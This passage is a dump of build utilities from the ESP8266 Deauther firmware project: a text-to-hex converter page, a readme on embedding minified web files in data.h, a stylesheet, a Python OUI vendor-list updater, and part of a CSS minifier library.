    "content": "<!Doctype html>\n<html>\n\t<head>\n\t\t<meta charset=\"utf-8\">\n\t\t<title>Byte Converter</title>\n\t\t<meta name=\"description\" content=\"OConvert Text into Hex-Bytes\">\n\t\t<meta name=\"author\" content=\"Spacehuhn - Stefan Kremser\">\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\"> \n\t\t<link rel=\"stylesheet\" href=\"style.css\">\n\t\t<script src=\"jquery-3.2.1.min.js\"></script>\n\t\t<style>\n\t\t\ttextarea{\n\t\t\t\twidth: 96%;\n\t\t\t\theight: 350px;\n\t\t\t}\n\t\t</style>\n\t</head>\n\t<body>\n\n\t\t<nav>\n\t\t\t<a href=\"index.html\">Converter</a>\n\t\t\t<a href=\"https://github.com/spacehuhn\" class=\"right\">GitHub</a>\n\t\t</nav>\n\t\t\n\t\t<div class=\"container\">\n\t\t\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-12\">\n\t\t\t\t\t<h1 class=\"header\">Text to Byte Array Converter</h1>\n\t\t\t\t\t<p>\n\t\t\t\t\t\tPlease use <a href=\"https://htmlcompressor.com/compressor/\" target=\"_blank\">HTMLCompressor</a> (or something similar) first to get your HTML, CSS and JS minified.<br />\n\t\t\t\t\t\tEvery saved byte can improve the stability of the ESP8266's webserver!\n\t\t\t\t\t</p>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-6\">\n\t\t\t\t\t<textarea id=\"input\"></textarea>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-6\">\n\t\t\t\t\t<textarea id=\"output\" onclick=\"this.focus();this.select()\" readonly=\"readonly\"></textarea>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-12\">\n\t\t\t\t\t<button onclick=\"convert()\" class=\"fullWidth button-primary\">convert</button>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"row\">\n\t\t\t\t<div class=\"col-12\">\n\t\t\t\t\t<p>Length: <span id=\"info_len\">0</span> Bytes</p>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t\t\t\n\t\t</div>\n\t\t\n\t\t<script>\n\t\t\tString.prototype.convertToHex = function (delim) {\n\t\t\t\t  return this.split(\"\").map(function(c) {\n\t\t\t\t\t  return (\"0\" + c.charCodeAt(0).toString(16)).slice(-2);\n\t\t\t\t  }).join(delim || \"\");\n\t\t\t  };\n\t\t\t  \n\t\t\tfunction convert(){\n\t\t\t\tvar input = $('#input').val().convertToHex(\",0x\");\n\t\t\t\t$('#output').val(\"0x\"+input);\n\t\t\t\t$('#info_len').html((input.match(new RegExp(\",\", \"g\")) || []).length + 1);\n\t\t\t}\n\t\t</script>\n\t</body>\n</html>\n"
  },
  {
    "path": "utils/old_web_converter/readme.md",
    "content": "# How to update files inside html folder?\nThe files related to the Frontend of ESP8266_Deauther are inside html folder.\nTo reflect on the firmware it needs to be: minified, converted to hex and updated on data.h on esp8266_deauther folder on the root of this project.\n\nThe following process can be used:\n## Script Mode (Linux/Mac)\n\n**1** Update the desired files on ./html folder\n**2** at the command line run the shell script: ./convert_all.sh\n**3** open the generated file \"data_h_temp\" and copy the content (CTRL+C)\n**4** Go to data.h and replace the content between the comments like below:\n```c\n/* constants generated by convert_all.sh - start */\nconst char data_apscanHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x43...\nconst char data_attackHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x43...\nconst char data_errorHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x43,...\nconst char data_indexHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x43,...\nconst char data_infoHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x43,0...\nconst char data_js_apscanJS[] PROGMEM = {0x66,0x75,0x6e,0x63,0x7...\nconst char data_js_attackJS[] PROGMEM = {0x66,0x75,0x6e,0x63,0x7...\nconst char data_js_functionsJS[] PROGMEM = {0x66,0x75,0x6e,0x63,...\nconst char data_js_settingsJS[] PROGMEM = {0x66,0x75,0x6e,0x63,0...\nconst char data_js_stationsJS[] PROGMEM = {0x66,0x75,0x6e,0x63,0...\nconst char data_license[] PROGMEM = {0x43,0x6f,0x70,0x79,0x72,0x...\nconst char data_settingsHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x...\nconst char data_stationsHTML[] PROGMEM = {0x3c,0x21,0x44,0x4f,0x...\nconst char data_styleCSS[] PROGMEM = {0x2f,0x2a,0x20,0x47,0x6c,0...\n/* constants generated by convert_all.sh - end */\n```\n\n## Manual mode\n\n**1** Use a minifier (e.g. htmlcompressor.com) to get your files as small as possible  \n**2** Open converter.html  \n**3** Paste the code in the left textfield  \n**4** Press Convert  \n**5** Copy the results from the right textfield  \n**6** Go to data.h and replace the array of the changed file with the copied bytes  \n\n**Now compile and upload your new sketch :)**\n"
  },
  {
    "path": "utils/old_web_converter/style.css",
    "content": "/* Global */\r\nbody {\r\n\tbackground: #36393e;\r\n\tcolor: #bfbfbf;\r\n\tfont-family: sans-serif;\r\n\tmargin: 0;\r\n}\r\n\r\nh1 {\r\n\tfont-size: 1.7rem;\r\n    margin-top: 1rem;\r\n    background: #2f3136;\r\n    color: #bfbfbb;\r\n    padding: 0.2em 1em;\r\n    border-radius: 3px;\r\n    border-left: solid #4974a9 5px;\r\n    font-weight: 100;\r\n}\r\n\r\nh2 {\r\n\tfont-size: 1.1rem;\r\n    margin-top: 1rem;\r\n    background: #2f3136;\r\n    color: #bfbfbb;\r\n    padding: 0.4em 1.8em;\r\n    border-radius: 3px;\r\n    border-left: solid #4974a9 5px;\r\n    font-weight: 100;\r\n}\r\n\r\ntable{\r\n\tborder-collapse: collapse;\r\n}\r\n\r\nlabel{\r\n\tline-height: 46px;\r\n}\r\n\r\ninput{\r\n\tline-height: 46px;\r\n}\r\n\r\n.left {\r\n\tfloat: left;\r\n}\r\n.right {\r\n\tfloat: right;\r\n}\r\n.bold {\r\n\tfont-weight: bold;\r\n}\r\n.red{\r\n\tcolor: #F04747;\r\n}\r\n.green{\r\n\tcolor:#43B581;\r\n}\r\n.clear {\r\n\tclear: both;\r\n}\r\n.centered{\r\n\ttext-align: center;\r\n}\r\n.select{\r\n\twidth: 98px !important;\r\n\tpadding: 0 !important;\r\n}\r\n.selected{\r\n\tbackground: #4974a9;\r\n}\r\n.status{\r\n\twidth: 120px;\r\n\tpadding-left: 8px;\r\n}\r\n.labelFix {\r\n\tline-height: 40px;\r\n}\r\n.clickable{\r\n\tcursor: pointer;\r\n}\r\n\r\n#error {\r\n    text-align: center;\r\n    color: #fff;\r\n    background: #af3535;\r\n    border-radius: 5px;\r\n\tpadding: 10px;\r\n\tmargin-top: 10px;\r\n}\r\n\r\n#closeError{\r\n\tfloat: right;\r\n\tcolor: #fff;\r\n\tpadding: 0px 10px;\r\n\tcursor: pointer;\r\n}\r\n\r\n#copyright{\r\n\tfont-size: 0.95em;\r\n\ttext-align: center;\r\n\tmargin-top: 3em;\r\n\tmargin-bottom: 3em;\r\n}\r\n\r\n/* CHECKBOX */\r\n/* Customize the label (the container) */\r\n.checkBoxContainer {\r\n  display: block;\r\n  position: relative;\r\n  padding-left: 35px;\r\n  margin-bottom: 12px;\r\n  cursor: pointer;\r\n  font-size: 22px;\r\n  -webkit-user-select: none;\r\n  -moz-user-select: none;\r\n  -ms-user-select: none;\r\n  user-select: none;\r\n  height: 32px;\r\n  width: 32px;\r\n}\r\n\r\n/* Hide the browser's default checkbox */\r\n.checkBoxContainer input {\r\n  position: absolute;\r\n  opacity: 0;\r\n  cursor: pointer;\r\n}\r\n\r\n/* Create a custom checkbox */\r\n.checkmark {\r\n  position: absolute;\r\n  top: 8px;\r\n  left: 0;\r\n  height: 28px;\r\n  width: 28px;\r\n  background-color: #2F3136;\r\n  border-radius: 4px;\r\n}\r\n\r\n/* When the checkbox is checked, add a blue background */\r\n.checkBoxContainer input:checked ~ .checkmark {\r\n  background-color: #4974A9;\r\n}\r\n\r\n/* Create the checkmark/indicator (hidden when not checked) */\r\n.checkmark:after {\r\n  content: \"\";\r\n  position: absolute;\r\n  display: none;\r\n}\r\n\r\n/* Show the checkmark when checked */\r\n.checkBoxContainer input:checked ~ .checkmark:after {\r\n  display: block;\r\n}\r\n\r\n/* Style the checkmark/indicator */\r\n.checkBoxContainer .checkmark:after {\r\n  left: 10px;\r\n  top: 7px;\r\n  width: 4px;\r\n  height: 10px;\r\n  border: solid white;\r\n  border-width: 0 3px 3px 0;\r\n  -webkit-transform: rotate(45deg);\r\n  -ms-transform: rotate(45deg);\r\n  transform: rotate(45deg);\r\n} \r\n\r\n/* ERROR */\r\n.hide {\r\n\tdisplay: none;\r\n}\r\n\r\n.show {\r\n\tdisplay: block !important;\r\n\tanimation-name: fadeIn;\r\n\tanimation-duration: 1s;\r\n}\r\n\r\n@keyframes fadeIn {\r\n\t0%   {opacity: 0;}\r\n\t100% {opacity: 1;}\r\n}\r\n\t\r\n\r\nhr {\r\n\tbackground: #3e4146;\r\n}\r\n\r\na {\r\n\tcolor: #5281bb;\r\n    text-decoration: none;\r\n}\r\n\r\na:hover {\r\n\tcolor: #95b8e4;\r\n}\r\n\r\nli{\r\n\tmargin: 4px 0;\r\n}\r\n\r\n/* Meter */\r\n.meter_background{\r\n\tbackground: #42464D;\r\n\twidth: 100%;\r\n\tmin-width: 90px;\r\n}\r\n.meter_forground{\r\n\tcolor: #fff;\r\n\tpadding: 4px 0;\r\n\t/* + one of the colors below \r\n\t(width will be set by the JS) */\r\n}\r\n.meter_green{\r\n\tbackground: #43B581;\r\n}\r\n.meter_orange{\r\n\tbackground: #FAA61A;\r\n}\r\n.meter_red{\r\n\tbackground: #F04747;\r\n}\r\n.meter_value{\r\n\tpadding-left: 8px;\r\n}\r\n\r\n\r\n/* Tables */\r\ntable {\r\n\twidth: 100%;\r\n\tmargin-bottom: 50px;\r\n}\r\n\r\nth, td {\r\n    padding: 10px 6px;\r\n    text-align: left;\r\n    border-bottom: 1px solid #5d5d5d;\r\n}\r\n\r\n\r\n/* Navigation bar */\r\nnav {\r\n\tdisplay: block;\r\n\tpadding: 8px 10px;\r\n\tbackground: #2f3136;\r\n}\r\n\r\nnav a {\r\n\tcolor: #bfbfbf;\r\n\tpadding: 0.5em;\r\n\tdisplay: inline-block;\r\n\ttext-decoration: none;\r\n}\r\n\r\nnav a:hover{\r\n\tbackground: #36393f;\r\n\tcolor:#cecece;\r\n\tborder-radius: 4px;\r\n}\r\n\r\n/* Inputs and buttons */\r\n.upload-script, .button, button, input[type=\"submit\"], input[type=\"reset\"], input[type=\"button\"] {\r\n\tdisplay: inline-block;\r\n\theight: 38px;\r\n\tpadding: 0 25px;\r\n\tcolor:#fff;\r\n\ttext-align: center;\r\n\tfont-size: 11px;\r\n\tfont-weight: 600;\r\n\tline-height: 38px;\r\n\tletter-spacing: .1rem;\r\n\ttext-transform: uppercase;\r\n\ttext-decoration: none;\r\n\twhite-space: nowrap;\r\n\tbackground: #2f3136;\r\n\tborder-radius: 4px;\r\n\tborder: none;\r\n\tcursor: pointer;\r\n\tbox-sizing: border-box;\r\n}\r\n\r\nbutton:hover, input[type=\"submit\"]:hover, input[type=\"reset\"]:hover, input[type=\"button\"]:hover {\r\n\tbackground: #42444a; \r\n}\r\n\r\n/* Forms */\r\ninput[type=\"email\"], input[type=\"number\"], input[type=\"search\"], input[type=\"text\"], input[type=\"tel\"], input[type=\"url\"], input[type=\"password\"], textarea, select {\r\n\theight: 38px;\r\n\tpadding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */\r\n\tbackground-color: #2f3136;\r\n\tborder-radius: 4px;\r\n\tbox-shadow: none;\r\n\tbox-sizing: border-box;\r\n\tcolor: #d4d4d4;\r\n\tborder: none;\r\n}\r\n\r\n.setting {\r\n\twidth: 100% !important;\r\n\tmax-width: 284px !important;\r\n}\r\n\r\ninput[type=\"file\"] {\r\n    display: none;\r\n}\r\n\r\n/* ==== GRID SYSTEM ==== */\r\n.container {\r\n  width: 100%;\r\n  margin-left: auto;\r\n  margin-right: auto;\r\n  max-width: 1140px;\r\n}\r\n\r\n.row {\r\n  position: relative;\r\n  width: 100%;\r\n}\r\n\r\n.row [class^=\"col\"] {\r\n  float: left;\r\n  margin: 0.25rem 2%;\r\n  min-height: 0.125rem;\r\n}\r\n\r\n.col-1,\r\n.col-2,\r\n.col-3,\r\n.col-4,\r\n.col-5,\r\n.col-6,\r\n.col-7,\r\n.col-8,\r\n.col-9,\r\n.col-10,\r\n.col-11,\r\n.col-12 {\r\n  width: 96%;\r\n}\r\n\r\n.row::after {\r\n\tcontent: \"\";\r\n\tdisplay: table;\r\n\tclear: both;\r\n}\r\n\r\n.hidden-sm {\r\n  display: none;\r\n}\r\n\r\n@media only screen and (min-width: 45em) {\r\n  .col-1 {\r\n    width: 4.33%;\r\n  }\r\n\r\n  .col-2 {\r\n    width: 12.66%;\r\n  }\r\n\r\n  .col-3 {\r\n    width: 21%;\r\n  }\r\n\r\n  .col-4 {\r\n    width: 29.33%;\r\n  }\r\n\r\n  .col-5 {\r\n    width: 37.66%;\r\n  }\r\n\r\n  .col-6 {\r\n    width: 46%;\r\n  }\r\n\r\n  .col-7 {\r\n    width: 54.33%;\r\n  }\r\n\r\n  .col-8 {\r\n    width: 62.66%;\r\n  }\r\n\r\n  .col-9 {\r\n    width: 71%;\r\n  }\r\n\r\n  .col-10 {\r\n    width: 79.33%;\r\n  }\r\n\r\n  .col-11 {\r\n    width: 87.66%;\r\n  }\r\n\r\n  .col-12 {\r\n    width: 96%;\r\n  }\r\n\r\n  .hidden-sm {\r\n    display: block;\r\n  }\r\n}"
  },
  {
    "path": "utils/vendor_list_updater/README.md",
    "content": "`python3 update_manuf.py -o oui.h -s`  \n\nThis Python script updates the manufacturer list oui.h in deauther2.0/esp8266_deauther.  \n\nThe -s option is for creating a limited list of the top 1000 vendors. That is enough for most devices and it makes the list fit in 512kb.  "
  },
  {
    "path": "utils/vendor_list_updater/update_manuf.py",
    "content": "#/usr/bin/env python3\r\n# This scripts downloads the last OUI manufaturer file from the Whireshark\r\n# project and converts it to esp8266_deauther format\r\n#\r\n# Copyright (c) 2018 xdavidhu\r\n# https://github.com/xdavidhu/\r\n#\r\n\r\nimport argparse\r\nfrom urllib.request import urlopen\r\n\r\nWS_MANUF_FILE_URL = \"https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf\"\r\nmacs = []\r\nvendors = []\r\ntempVendors = []\r\n\r\ndef padhex(s):\r\n    return '0x' + s[2:].zfill(2)\r\n\r\ndef parse_options():\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\"-o\", \"--output\", help=\"Output file name for macs list\", required=True)\r\n    parser.add_argument(\"-s\", \"--small\", action='store_true', help=\"Generate small file only with most used 10 000 macs\")\r\n    parser.add_argument(\"-u\", \"--url\", help=\"Wireshark oui/manuf file url\")\r\n\r\n    opt = parser.parse_args()\r\n\r\n    return opt\r\n\r\ndef generate_lists(url, output, small):\r\n\r\n    global tempVendors\r\n    global vendors\r\n    global macs\r\n\r\n    if url:\r\n        data = urlopen(url)\r\n    else:\r\n        data = urlopen(WS_MANUF_FILE_URL)\r\n\r\n    lines = data.readlines()\r\n\r\n    for line in lines:\r\n        line = line.decode()\r\n        if line.startswith('#') or line.startswith('\\n'):\r\n            continue\r\n        mac, short_desc, *rest = line.strip().split('\\t')\r\n        short_desc = short_desc[0:8]\r\n        short_desc = short_desc.encode(\"ascii\", \"ignore\").decode()\r\n        mac_octects = len(mac.split(':'))\r\n        if mac_octects == 6:\r\n            continue\r\n        else:\r\n            inList = False\r\n            for vendor in tempVendors:\r\n                if vendor[0] == short_desc:\r\n                    inList = True\r\n                    vendor[1] += 1\r\n                    break\r\n            if not inList:\r\n                tempVendors.append([short_desc, 1])\r\n\r\n    if small:\r\n        tempVendors.sort(key=lambda x: x[1])\r\n        tempVendors.reverse()\r\n        #tempVendors = tempVendors[:1000]\r\n\r\n    for vendor in tempVendors:\r\n        vendors.append(vendor[0])\r\n\r\n    for line in lines:\r\n        line = line.decode()\r\n        if line.startswith('#') or line.startswith('\\n'):\r\n            continue\r\n        mac, short_desc, *rest = line.strip().split('\\t')\r\n        short_desc = short_desc[0:8]\r\n        short_desc = short_desc.encode(\"ascii\", \"ignore\").decode()\r\n        mac_octects = len(mac.split(':'))\r\n        if mac_octects == 6:\r\n            continue\r\n        else:\r\n            for vendor in vendors:\r\n                if vendor == short_desc:\r\n                    index = vendors.index(vendor)\r\n                    macs.append([mac, index])\r\n\r\n    generate_files(output)\r\n\r\n\r\ndef generate_files(output):\r\n    global tempVendors\r\n    global vendors\r\n    global macs\r\n\r\n    # 'vendors' list\r\n    vendorsTxt = \"\"\r\n    for vendor in vendors:\r\n        vendor = vendor.ljust(8, '\\0')\r\n        hex_vendor = \", 0x\".join(\"{:02x}\".format(ord(c)) for c in vendor)\r\n        line = \"0x\" + hex_vendor\r\n        vendorsTxt += line + \",\\n\"\r\n    vendorsTxt = vendorsTxt[:-2] + \"\\n\"\r\n\r\n    # 'macs' list\r\n    macsTxt = \"\"\r\n    for mac in macs:\r\n        macaddr = mac[0]\r\n        vendorindex = mac[1]\r\n        (oc1, oc2, oc3) = macaddr.split(':')\r\n        if vendorindex > 255:\r\n            num = vendorindex\r\n            index_bytes = []\r\n            while num > 0:\r\n                byte = num % 0x100\r\n                index_bytes.append(byte)\r\n                num //= 0x100\r\n            hex_index = \"\"\r\n            for byte in index_bytes:\r\n                hex_index += padhex(hex(byte)) + \", \"\r\n            hex_index = hex_index[:-2]\r\n        else:\r\n            hex_index = padhex(hex(vendorindex)) + \", 0x00\"\r\n        line = \"0x\" + oc1.upper() + \", \" + \"0x\" + oc2.upper() + \", \" + \"0x\" + oc3.upper() + \", \" + hex_index\r\n        macsTxt += line + \",\\n\"\r\n    macsTxt = macsTxt[:-2] + \"\\n\"\r\n\r\n    # Saving to file\r\n    if output:\r\n        with open(output, 'w') as out_file:\r\n            out_file.write(\"#ifndef oui_h\\n#define oui_h\\n/*\\n  Based on Wireshark manufacturer database\\n  source: https://www.wireshark.org/tools/oui-lookup.html\\n  Wireshark is released under the GNU General Public License version 2\\n*/\\n\\n#define ENABLE_MAC_LIST // comment out if you want to save memory\\n\\n\")\r\n            out_file.write(\"const static uint8_t data_vendors[] PROGMEM = {\\n#ifdef ENABLE_MAC_LIST\\n\")\r\n            out_file.write(vendorsTxt)\r\n            out_file.write(\"#endif\\n};\\n\")\r\n            out_file.write(\"const static uint8_t data_macs[] PROGMEM = {\\n#ifdef ENABLE_MAC_LIST\\n\")\r\n            out_file.write(macsTxt)\r\n            out_file.write(\"#endif\\n};\\n#endif\")\r\n            out_file.close()\r\n\r\n\r\n    print(\"Done.\")\r\n\r\nif __name__ == \"__main__\":\r\n    options = parse_options()\r\n    generate_lists(options.url, options.output, options.small)\r\n"
  },
  {
    "path": "utils/web_converter/css_html_js_minify/__init__.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify\n\n\n\"\"\"CSS-HTML-JS-Minify.\n\nMinifier for the Web.\n\"\"\"\n\n\nfrom .minify import (process_single_html_file, process_single_js_file,\n                     process_single_css_file, html_minify, js_minify,\n                     css_minify)\n\n\n__version__ = '2.5.0'\n__license__ = 'GPLv3+ LGPLv3+'\n__author__ = 'Juan Carlos'\n__email__ = 'juancarlospaco@gmail.com'\n__url__ = 'https://github.com/juancarlospaco/css-html-js-minify'\n__source__ = ('https://raw.githubusercontent.com/juancarlospaco/'\n              'css-html-js-minify/master/css-html-js-minify.py')\n\n\n__all__ = ['__version__', '__license__', '__author__',\n           '__email__', '__url__', '__source__',\n           'process_single_html_file', 'process_single_js_file',\n           'process_single_css_file', 'html_minify', 'js_minify',\n           'css_minify', 'minify']\n"
  },
  {
    "path": "utils/web_converter/css_html_js_minify/css_minifier.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify\n\n\"\"\"CSS Minifier functions for CSS-HTML-JS-Minify.\"\"\"\n\n\nimport re\nimport itertools\n\nimport logging as log\n\nfrom .variables import EXTENDED_NAMED_COLORS, CSS_PROPS_TEXT\n\n\n__all__ = ['css_minify', 'condense_semicolons']\n\n\ndef _compile_props(props_text, grouped=False):\n    \"\"\"Take a list of props and prepare them.\"\"\"\n    props, prefixes = [], \"-webkit-,-khtml-,-epub-,-moz-,-ms-,-o-,\".split(\",\")\n    for propline in props_text.strip().lower().splitlines():\n        props += [pre + pro for pro in propline.split(\" \") for pre in prefixes]\n    props = filter(lambda line: not line.startswith('#'), props)\n    if not grouped:\n        props = list(filter(None, props))\n        return props, [0]*len(props)\n    final_props, groups, g_id = [], [], 0\n    for prop in props:\n        if prop.strip():\n            final_props.append(prop)\n            groups.append(g_id)\n        else:\n            g_id += 1\n    return final_props, groups\n\n\ndef _prioritify(line_of_css, css_props_text_as_list):\n    \"\"\"Return args priority, priority is integer and smaller means higher.\"\"\"\n    sorted_css_properties, groups_by_alphabetic_order = css_props_text_as_list\n    priority_integer, group_integer = 9999, 0\n    for css_property in sorted_css_properties:\n        if css_property.lower() == line_of_css.split(\":\")[0].lower().strip():\n            priority_integer = sorted_css_properties.index(css_property)\n            group_integer = groups_by_alphabetic_order[priority_integer]\n            break\n    return priority_integer, group_integer\n\n\ndef _props_grouper(props, pgs):\n    \"\"\"Return groups for properties.\"\"\"\n    if not props:\n        return props\n    # props = sorted([\n        # _ if _.strip().endswith(\";\")\n        # and not _.strip().endswith(\"*/\") and not _.strip().endswith(\"/*\")\n        # else _.rstrip() + \";\\n\" for _ in props])\n    props_pg = zip(map(lambda prop: _prioritify(prop, pgs), props), props)\n    props_pg = sorted(props_pg, key=lambda item: item[0][1])\n    props_by_groups = map(\n        lambda item: list(item[1]),\n        itertools.groupby(props_pg, key=lambda item: item[0][1]))\n    props_by_groups = map(lambda item: sorted(\n        item, key=lambda item: item[0][0]), props_by_groups)\n    props = []\n    for group in props_by_groups:\n        group = map(lambda item: item[1], group)\n        props += group\n        props += ['\\n']\n    props.pop()\n    return props\n\n\ndef sort_properties(css_unsorted_string):\n    \"\"\"CSS Property Sorter Function.\n\n    This function will read buffer argument, split it to a list by lines,\n    sort it by defined rule, and return sorted buffer if it's CSS property.\n    This function depends on '_prioritify' function.\n    \"\"\"\n    log.debug(\"Alphabetically Sorting all CSS / SCSS Properties.\")\n    css_pgs = _compile_props(CSS_PROPS_TEXT, grouped=False)  # Do Not Group.\n    pattern = re.compile(r'(.*?{\\r?\\n?)(.*?)(}.*?)|(.*)',\n                         re.DOTALL + re.MULTILINE)\n    matched_patterns = pattern.findall(css_unsorted_string)\n    sorted_patterns, sorted_buffer = [], css_unsorted_string\n    re_prop = re.compile(r'((?:.*?)(?:;)(?:.*?\\n)|(?:.*))',\n                         re.DOTALL + re.MULTILINE)\n    if len(matched_patterns) != 0:\n        for matched_groups in matched_patterns:\n            sorted_patterns += matched_groups[0].splitlines(True)\n            props = map(lambda line: line.lstrip('\\n'),\n                        re_prop.findall(matched_groups[1]))\n            props = list(filter(lambda line: line.strip('\\n '), props))\n            props = _props_grouper(props, css_pgs)\n            sorted_patterns += props\n            sorted_patterns += matched_groups[2].splitlines(True)\n            sorted_patterns += matched_groups[3].splitlines(True)\n        sorted_buffer = ''.join(sorted_patterns)\n    return sorted_buffer\n\n\ndef remove_comments(css):\n    \"\"\"Remove all CSS comment blocks.\"\"\"\n    log.debug(\"Removing all Comments.\")\n    iemac, preserve = False, False\n    comment_start = css.find(\"/*\")\n    while comment_start >= 0:  # Preserve comments that look like `/*!...*/`.\n        # Slicing is used to make sure we dont get an IndexError.\n        preserve = css[comment_start + 2:comment_start + 3] == \"!\"\n        comment_end = css.find(\"*/\", comment_start + 2)\n        if comment_end < 0:\n            if not preserve:\n                css = css[:comment_start]\n                break\n        elif comment_end >= (comment_start + 2):\n            if css[comment_end - 1] == \"\\\\\":\n                # This is an IE Mac-specific comment; leave this one and the\n                # following one alone.\n                comment_start = comment_end + 2\n                iemac = True\n            elif iemac:\n                comment_start = comment_end + 2\n                iemac = False\n            elif not preserve:\n                css = css[:comment_start] + css[comment_end + 2:]\n            else:\n                comment_start = comment_end + 2\n        comment_start = css.find(\"/*\", comment_start)\n    return css\n\n\ndef remove_unnecessary_whitespace(css):\n    \"\"\"Remove unnecessary whitespace characters.\"\"\"\n    log.debug(\"Removing all unnecessary white spaces.\")\n\n    def pseudoclasscolon(css):\n        \"\"\"Prevent 'p :link' from becoming 'p:link'.\n\n        Translates 'p :link' into 'p ___PSEUDOCLASSCOLON___link'.\n        This is translated back again later.\n        \"\"\"\n        regex = re.compile(r\"(^|\\})(([^\\{\\:])+\\:)+([^\\{]*\\{)\")\n        match = regex.search(css)\n        while match:\n            css = ''.join([\n                css[:match.start()],\n                match.group().replace(\":\", \"___PSEUDOCLASSCOLON___\"),\n                css[match.end():]])\n            match = regex.search(css)\n        return css\n\n    css = pseudoclasscolon(css)\n    # Remove spaces from before things.\n    css = re.sub(r\"\\s+([!{};:>\\(\\)\\],])\", r\"\\1\", css)\n    # If there is a `@charset`, then only allow one, and move to beginning.\n    css = re.sub(r\"^(.*)(@charset \\\"[^\\\"]*\\\";)\", r\"\\2\\1\", css)\n    css = re.sub(r\"^(\\s*@charset [^;]+;\\s*)+\", r\"\\1\", css)\n    # Put the space back in for a few cases, such as `@media screen` and\n    # `(-webkit-min-device-pixel-ratio:0)`.\n    css = re.sub(r\"\\band\\(\", \"and (\", css)\n    # Put the colons back.\n    css = css.replace('___PSEUDOCLASSCOLON___', ':')\n    # Remove spaces from after things.\n    css = re.sub(r\"([!{}:;>\\(\\[,])\\s+\", r\"\\1\", css)\n    return css\n\n\ndef remove_unnecessary_semicolons(css):\n    \"\"\"Remove unnecessary semicolons.\"\"\"\n    log.debug(\"Removing all unnecessary semicolons.\")\n    return re.sub(r\";+\\}\", \"}\", css)\n\n\ndef remove_empty_rules(css):\n    \"\"\"Remove empty rules.\"\"\"\n    log.debug(\"Removing all unnecessary empty rules.\")\n    return re.sub(r\"[^\\}\\{]+\\{\\}\", \"\", css)\n\n\ndef normalize_rgb_colors_to_hex(css):\n    \"\"\"Convert `rgb(51,102,153)` to `#336699`.\"\"\"\n    log.debug(\"Converting all rgba to hexadecimal color values.\")\n    regex = re.compile(r\"rgb\\s*\\(\\s*([0-9,\\s]+)\\s*\\)\")\n    match = regex.search(css)\n    while match:\n        colors = map(lambda s: s.strip(), match.group(1).split(\",\"))\n        hexcolor = '#%.2x%.2x%.2x' % tuple(map(int, colors))\n        css = css.replace(match.group(), hexcolor)\n        match = regex.search(css)\n    return css\n\n\ndef condense_zero_units(css):\n    \"\"\"Replace `0(px, em, %, etc)` with `0`.\"\"\"\n    log.debug(\"Condensing all zeroes on values.\")\n    return re.sub(r\"([\\s:])(0)(px|em|%|in|q|ch|cm|mm|pc|pt|ex|rem|s|ms|\"\n                  r\"deg|grad|rad|turn|vw|vh|vmin|vmax|fr)\", r\"\\1\\2\", css)\n\n\ndef condense_multidimensional_zeros(css):\n    \"\"\"Replace `:0 0 0 0;`, `:0 0 0;` etc. with `:0;`.\"\"\"\n    log.debug(\"Condensing all multidimensional zeroes on values.\")\n    return css.replace(\":0 0 0 0;\", \":0;\").replace(\n        \":0 0 0;\", \":0;\").replace(\":0 0;\", \":0;\").replace(\n            \"background-position:0;\", \"background-position:0 0;\").replace(\n                \"transform-origin:0;\", \"transform-origin:0 0;\")\n\n\ndef condense_floating_points(css):\n    \"\"\"Replace `0.6` with `.6` where possible.\"\"\"\n    log.debug(\"Condensing all floating point values.\")\n    return re.sub(r\"(:|\\s)0+\\.(\\d+)\", r\"\\1.\\2\", css)\n\n\ndef condense_hex_colors(css):\n    \"\"\"Shorten colors from #AABBCC to #ABC where possible.\"\"\"\n    log.debug(\"Condensing all hexadecimal color values.\")\n    regex = re.compile(\n        r\"\"\"([^\\\"'=\\s])(\\s*)#([0-9a-f])([0-9a-f])([0-9a-f])\"\"\"\n        r\"\"\"([0-9a-f])([0-9a-f])([0-9a-f])\"\"\", re.I | re.S)\n    match = regex.search(css)\n    while match:\n        first = match.group(3) + match.group(5) + match.group(7)\n        second = match.group(4) + match.group(6) + match.group(8)\n        if first.lower() == second.lower():\n            css = css.replace(\n                match.group(), match.group(1) + match.group(2) + '#' + first)\n            match = regex.search(css, match.end() - 3)\n        else:\n            match = regex.search(css, match.end())\n    return css\n\n\ndef condense_whitespace(css):\n    \"\"\"Condense multiple adjacent whitespace characters into one.\"\"\"\n    log.debug(\"Condensing all unnecessary white spaces.\")\n    return re.sub(r\"\\s+\", \" \", css)\n\n\ndef condense_semicolons(css):\n    \"\"\"Condense multiple adjacent semicolon characters into one.\"\"\"\n    log.debug(\"Condensing all unnecessary multiple adjacent semicolons.\")\n    return re.sub(r\";;+\", \";\", css)\n\n\ndef wrap_css_lines(css, line_length=80):\n    \"\"\"Wrap the lines of the given CSS to an approximate length.\"\"\"\n    log.debug(\"Wrapping lines to ~{0} max line lenght.\".format(line_length))\n    lines, line_start = [], 0\n    for i, char in enumerate(css):\n        # Its safe to break after } characters.\n        if char == '}' and (i - line_start >= line_length):\n            lines.append(css[line_start:i + 1])\n            line_start = i + 1\n    if line_start < len(css):\n        lines.append(css[line_start:])\n    return '\\n'.join(lines)\n\n\ndef condense_font_weight(css):\n    \"\"\"Condense multiple font weights into shorter integer equals.\"\"\"\n    log.debug(\"Condensing font weights on values.\")\n    return 